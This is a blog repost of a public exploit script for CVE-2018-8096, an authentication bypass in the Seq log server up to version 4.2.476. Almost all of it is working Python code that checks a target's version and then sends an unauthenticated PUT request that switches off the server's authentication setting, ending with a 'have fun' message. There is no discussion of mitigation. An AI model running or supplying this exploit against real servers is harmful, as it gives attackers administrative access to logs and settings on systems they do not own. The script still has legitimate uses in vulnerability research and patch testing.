Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396802

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Seq 4.2.476 - Authentication Bypass
# Date: 2018-08-02
# Exploit Author: Daniel Chactoura
# Vendor Homepage: https://getseq.net/
# Software Link: https://getseq.net/Download/All
# Version: <= 4.2.476
# CVE : CVE-2018-8096
# Post Reference: https://medium.com/stolabs/bypass-admin-authentication-on-seq-17f0f9e02732

# coding=utf-8

#!/bin/python

import sys
import requests

def verifyArgs(args):
    if len(args) < 2:
        print('[!] Usage: '+str(args[0])+' https://target')
        exit(0)
    elif 'http' not in str(args[1]):
        print('''[!] Missing "https://" !''')
        exit(0)
    else:
        return(1)

def verifyVersion(url):
    vulnVersions = ['4.2.476','4.2.470','4.1.17','4.1.16',
                    '4.1.14','4.0.60','4.0.58','3.4.20',
                    '3.4.18','3.4.17','3.3.23','3.3.22',
                    '3.3.21','3.3.20','3.2.16','3.1.17',
                    '3.1.16','3.0.30','2.4.2','2.3.4',
                    '2.3.3','2.2.8','2.1.22','2.1.21',
                    '2.0.19','1.6.13','1.6.12','1.6.11',
                    '1.6.10','1.6.9','1.6.8','1.6.7',
                    '1.6.6','1.6.5','1.6.4','1.5.19',
                    '1.5.18','1.5.17','1.5.16','1.4.12',
                    '1.4.11','1.4.10','1.4.9','1.4.8',
                    '1.4.7','1.4.6','1.3.11','1.3.10',
                    '1.3.9','1.3.8']
    u = str(url)
    verifV = requests.get(u+'/api/')
    verifVJSON = verifV.json()
    ver = str(verifVJSON['Version'])[:-2]

    if ver in vulnVersions:
        print("[+] Seq's version is potentially vulnerable!")
        return(1)
    else:
        print("[!] Seq's version is probably not vulnerable!")
        return(0)

def bypassAuth(url):
    u = str(url)
    payload = "{'Name':'isauthenticationenabled','Value':false,'Id':'setting-isauthenticationenabled','Links':{'Self':'api/settings/setting-isauthenticationenabled','Group':'api/settings/resources'}}"
    h = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', 'Referer':u}
    verifM = requests.put(u+'/api/settings/setting-isauthenticationenabled', data=payload, headers=h)
    verifMCode = str(verifM.status_code)
    if verifMCode == '200':
        print("[:)] YES! Success! Now, access the url and have fun!")
    else:
        print("[:(] DAMN! This is not your lucky day...")

def main():
    try:
        if verifyArgs(sys.argv):
            if verifyVersion(sys.argv[1]):
                bypassAuth(sys.argv[1])
            else:
                c = input('[?] Do you want to try it anyway? (y/n): ').lower()
                if c == 'y':
                    pass
                elif c == 'n':
                    exit(0)
                else:
                    print('[!] Invalid choice!')
                    exit(0)
    except KeyboardInterrupt:
        exit(0)

if __name__ == '__main__':
    main()